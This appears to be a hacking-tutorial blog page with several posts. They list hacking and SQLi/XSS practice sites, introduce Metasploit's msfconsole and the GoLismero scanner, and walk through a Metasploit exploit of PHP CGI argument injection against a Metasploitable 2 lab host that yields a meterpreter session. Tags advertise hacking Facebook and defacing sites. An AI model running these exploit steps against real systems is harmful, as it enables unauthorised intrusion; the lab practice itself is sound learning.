Ultimate reference for all beginners Programmers and hackers

Ultimate reference for all beginners Programmers and hackers

November 23, 2016   Anonymous, arp spoffing, backbox, backtrack, best hacking tools, best hacking tutorials, ethical hacking book, hackforum, hacking, hacking reference, hacking tutorial, how to hack wifi, programming reference,

Ultimate reference for all beginners Programmers and hackers

Hello Everyone,

 Check all these sites before starting Pentesting/Hacking and programming   ,

Our YouTube Channel link::

www.youtube.com/c/Pentestingwithspirit

Our Facebook page::

www.facebook.com/pentestingwithspirit

 so here is the list of website from where you can start your journey.

Websites to learn Hacking:-
www.cybrary.it/
www.hackthissite.org
http://breakthesecurity.cysecurity.org/
http://www.fromdev.com/2013/07/Hacking-Tutorials.html
http://www.guru99.com/
https://web.archive.org/web/20130927175556/
https://forum.intern0t.org/forum.php
www.securehacking.org
www.errorplanet.in
https://evilzone.org
http://www.hacking-tutorial.com/#sthash.VkA2Rqjt.dpbs
http://hackersonlineclub.com

And guys here is my some favourite sites to test your skills on SQL-Injection and xss

if your are newbie then first ask to google or you can watch our tutorial if you like then try these challenge's

SQL Injection Challenges For Practice:-

1)http://www.zixem.altervista.org/SQLi/

2)https://hack.me/t/SQLi

3)http://root0x00.altervista.org/sqli/

4)http://www.legendaryhatman.altervista.org/index.php…

5)http://leettime.net/sql-injection-time-chamber/

6)http://www.arjun.altervista.org/

7)http://zerocoolhf.altervista.org/

8)http://peternguyen.altervista.org/?task

9)http://sqlidemo.altervista.org/

10)http://nurfed.altervista.org/

This a list of challenges XSS and SQLi I known. It belongs to noobs like me.

:p (y)

XSS Challenges For Practice:-

http://xss-quiz.int21h.jp/

https://xss-game.appspot.com/

https://escape.alf.nu/

https://hack.me/t/XSS

http://leettime.net/xsslab1/

http://phizo.altervista.org/

Learn Programming:-

==>Websites To Learn Computer Programming Languages for free[updated]<==

Special thanks to:-CodeN/inja, Th3_uNique,Bd_InjeCtor,Zen,Alteras,Repetence,IndiGear,msfanurag,msfsri,

Kishan,

rootxploiter,Daniel,Rahul raz,Rahul mani and zayed sir.

                                                                        

Hope you will like the experience with us .

Thanks ✌ 

Continue Reading

[Part 1]$~Metasploit for beginners

[Part 1]$~Metasploit for beginners

November 19, 2016   best rat, darkcomet, darkcomet tutorial, ethical hacking book, ethical hacking school, how to deface website, metasploit, Metasploit for beginners, metasploit tutorial,

So, Hello everyone let me first introduce myself. My name is Spirited wolf and now i'm 16 years old cool and po** lover guy. And i love to share my knowledge with everyone who really need it. The thing  that you just need to understand me is Brain.exe, you can contact me here on my Facebook.

So  my first question is what is metasploit?

On Wikipedia it is written that
"The Metasploit Project is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development."


There are several interfaces for Metasploit available. The most popular are maintained by Rapid7 and Strategic Cyber LLC.

Metasploit Framework Edition
The free version. It contains a command line interface, third-party import, manual exploitation and manual brute forcing.

Metasploit Community Edition
In October 2011, Rapid7 released Metasploit Community Edition, a free, web-based user interface for Metasploit. Metasploit Community is based on the commercial functionality of the paid-for editions with a reduced set of features, including network discovery, module browsing and manual exploitation. Metasploit Community is included in the main installer.

Metasploit Express
In April 2010, Rapid7 released Metasploit Express, an open-core commercial edition for security teams who need to verify vulnerabilities. It offers a graphical user interface, integrates nmap for discovery, and adds smart bruteforcing as well as automated evidence collection.

Metasploit Pro
In October 2010, Rapid7 added Metasploit Pro, an open-core commercial Metasploit edition for penetration testers. Metasploit Pro adds onto Metasploit Express with features such as Quick Start Wizards/MetaModules, building and managing social engineering campaigns, web application testing, an advanced Pro Console, dynamic payloads for anti-virus evasion, integration with Nexpose for ad-hoc vulnerability scans, and VPN pivoting.

Armitage
Armitage is a graphical cyber attack management tool for the Metasploit Project that visualizes targets and recommends exploits. It is a free and open source network security tool notable for its contributions to red team collaboration allowing for shared sessions, data, and communication through a single Metasploit instance.

Cobalt Strike
Cobalt Strike is a collection of threat emulation tools provided by Strategic Cyber LLC to work with the Metasploit Framework. Cobalt Strike includes all features of Armitage and adds post-exploitation tools, in addition to report generation features.

HOW TO USE METASPLOIT??

First of all start the metasploit service

applications > kali linux > system services > metasploit > start 

or

service metasploit start 

Run msfconsole
just type msfconsole in your terminal

sudo msfconsole 

and the you will see something like this


so, what is msfconsole?
->Msfconsole is the main interface to metasploit. There are GUI interfaces (armitage), and a web interface too (websploit). With msfconsole, you can launch exploits, create listeners, configure payloads etc.

Note:-"Metasploit has lots of great documentation built in. Type help to get a basic list of commands."

like if you wants to check what commands you can use then just type help or ? <- question mark

Example::

msf > help

Core Commands
=====================

    Command       Description
    -------       -----------
    ?             Help menu
    advanced      Displays advanced options for one or more modules
    back          Move back from the current context
    banner        Display an awesome metasploit banner
    cd            Change the current working directory
    color         Toggle color
    connect       Communicate with a host
    edit          Edit the current module with $VISUAL or $EDITOR
    exit          Exit the console
    get           Gets the value of a context-specific variable
    getg          Gets the value of a global variable
    grep          Grep the output of another command
    help          Help menu
    info          Displays information about one or more modules
    irb           Drop into irb scripting mode
    jobs          Displays and manages jobs
    kill          Kill a job
    load          Load a framework plugin
    loadpath      Searches for and loads modules from a path
    makerc        Save commands entered since start to a file
    options       Displays global options or for one or more modules
    pushm         Pushes the active or list of modules onto the module stack
    quit          Exit the console
    reload_all    Reloads all modules from all defined module paths
    rename_job    Rename a job
    resource      Run the commands stored in a file
    route         Route traffic through a session
    save          Saves the active datastores
    search        Searches module names and descriptions
    sessions      Dump session listings and display information about sessions
    set           Sets a context-specific variable to a value
    setg          Sets a global variable to a value
    show          Displays modules of a given type, or all modules
    sleep         Do nothing for the specified number of seconds
    spool         Write console output into a file as well the screen
    threads       View and manipulate background threads
    unload        Unload a framework plugin
    unset         Unsets one or more context-specific variables
    unsetg        Unsets one or more global variables
    use           Selects a module by name
    version       Show the framework and console library version numbers


Database Backend Commands
========================================

    Command           Description
    -------           -----------
    creds             List all credentials in the database
    db_connect        Connect to an existing database
    db_disconnect     Disconnect from the current database instance
    db_export         Export a file containing the contents of the database
    db_nmap           Executes nmap and records the output automatically
    db_rebuild_cache  Rebuilds the database-stored module cache
    db_status         Show the current database status
    hosts             List all hosts in the database
    loot              List all loot in the database
    notes             List all notes in the database
    services          List all services in the database
    vulns             List all vulnerabilities in the database
    workspace         Switch between database workspaces

msf >

Pick a vulnerability and use an exploit
->Once you know what your remote hosts system is (nmap, lynix, maltego, wp-scan, etc) you can pick an exploit from Metasploit to test. rapid7 have an easy way to find exploits. There is also a way to search within msfconsole for various exploits:
example::

search type:exploit

search name:xxxx

search CVE-xxx-xxx

search cve:2016 

Hope you liked my tutorial:-

See you in my next tutorial

and if you wants to check some of measploit tutorials then you can check them on my channel

====>Metasploit youtube playlist<====
Please subscribe

Special thanks to:- CodeN/inja, Th3_uNique,Bd_InjeCtor,Alteas,Repetence,IndiGear,msfanurag,msfsri,Kishan,rootxploiter
Thanks ✌ 

Continue Reading

[Tutorial$:-1] GOLISMERO Framework-The Web Knife

[Tutorial$:-1] GOLISMERO Framework-The Web Knife

November 16, 2016   Anonymous, best rat, deface website using metasploit, defacing site, Hacking News, how to hack facebook, how to hack mobile using kali linux, how to hack website, how to hack windows 7, learn linux commands,

Hello everyone ,

Today on the behalf of Legion group i would like to make a tutorial on GOLISMERO The Web Knife.

Actually one of my friend told me that,

"theharvester or golismero.py. Both of those tools are excellently written scripts for crawling domains for information that deserves mention".

This amazing method is used for Information-Gathering process/Security-testing/technique.

What is Golismero?

I was talking with one of my friend Gee4rce and he told me about this tool. He told me that Golismero is a collection of tools which are usually used seperately to scan for Vulnerabilities. In this Toolbox we have OpenVAS, (etc.) - all theese are vulnerability scanners. By using a vulnerability scanner, you automate the process of vulnerability scanning and mostly get the results back in a Report. Golismero combines some of the most powerfull OpenSource or free for use tools curently availible. With this, you have all these tools in one place, combined in Golismero.

Why Golismero?

I know your first question will be why we should use Golismero when we have some amazing tools for pentesting? Right?

So, my answer is simple:-

1. First one is of course that it is Opensource Tool/Framework.

2. Second one is as most of us this that their are many other tools are available in market that we can use, then you will love to hear that we can attach other tool [Like:-Nmap ,xsser , openvas, dnsrecon and theharvester]reports in this Golismero Framework .

3. This Framework is now available for all platforms , it doesn't matter if you are Windows , Linux or Mac user we can use it in any Operating System now. 

4. We don't need to download/install any other dependency except PYTHON dependency because it just need python to run.

5. It is also integrated with CVE and owasp so it will easy for us to use them now.

[For report's]

DOWNLOADING/INSTALLATION

Just follow these simple steps:-

1.apt-get install python2.7 python2.7-dev python-pip python-docutils git perl nmap sslscan

2.cd /opt

3.git clone https://github.com/golismero/golismero.git

4.cd golismero

5.pip install -r requirements.txt

6.pip install -r requirements_unix.txt

7.ln -s /opt/golismero/golismero.py /usr/bin/golismero 

Then just exit and we have done.

For More Info Go:- HERE

So, I am dividing this tutorial in 2 parts 1st one is this where i will just introduce this tool and in next tutorial i will Demonstrate on Live website.

USAGE OF GOLISMERO

So, 

Basic command is of course " -h "

golismero -h

A. 1st command is :- 

golismero scan <target>

Example:-"golismero.py scan http://www.example.com"

So now it will run with all default options and show the report on standard output.

B. 2nd command is:-

golismero scan <target> --audit-name <name>

We can also set a name for your audit using audit-name attribute

C. 3rd command is:-

golismero scan <target> -o <output file name>

We can produce reports in different file formats. Example in .html , .php or in .txt etc. and you can write as many files as you want.

D. 4th command is:-

golismero scan -i nmap_output.xml -o Report.html

We can Grab Nmap results scan all hosts found and write an HTML report.

Golismero Available plugins

To display the list of available plugins:

golismero plugins

See you in my next tutorial Friends

It took me 1 Hour to make this tutorial, But it will take only 1 sec. to leave a review/reply here. Please comment if you like this tutorial. 

 Thanks  

Continue Reading

PHP CGI ARGUMENT INJECTION using Metasploit

PHP CGI ARGUMENT INJECTION using Metasploit

November 11, 2016   backbox, backtrack, best hacking tools, best hacking tutorials, best rat, ethical hacking book, firefox addon exploit, freelancer programmers, hackers, hackforum, how to identify hash type,

Hello Everyone,

Today i would like to demonstrate How we can do PHP CGI ARGUMENT INJECTION using Metasploit.

REFERENCES

So, If have you Don't know about metasploit then check my then tutorials:-

     ==>Metasploit Playlists<==

So, If you already know about Metasploit then lets start.

The module that we are going to use is :-exploit/multi/http/php_cgi_arg_injection

About this vulnerablity-by Rapid7

So they say-"When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. This module takes advantage of the -d flag to set php.ini directives to achieve code execution. From the advisory: "if there is NO unescaped '=' in the query string, the string is split on '+' (encoded space) characters, urldecoded, passed to a function that escapes shell metacharacters (the "encoded in a system-defined manner" from the RFC) and then passes them to the CGI binary.""

This means that if we try to pass/add some parameter we can run some arbitrary code using it. 

So lets try to exploit it.

We are going to use Metasploitable 2.

1. Open Metasploit console.

2. Then just select php_cgi_arg_injection module.

Code:

msf> use exploit/multi/http/php_cgi_arg_injection 

3. Now just set the options and exploit.

Quote:

msf exploit(php_cgi_arg_injection) > set RHOST 172.16.18.134

RHOST => 172.16.18.134

msf exploit(php_cgi_arg_injection) > exploit

And done we got a meterpreter session.

Done :D we got meterpreter session


If you will like this,

Continue Reading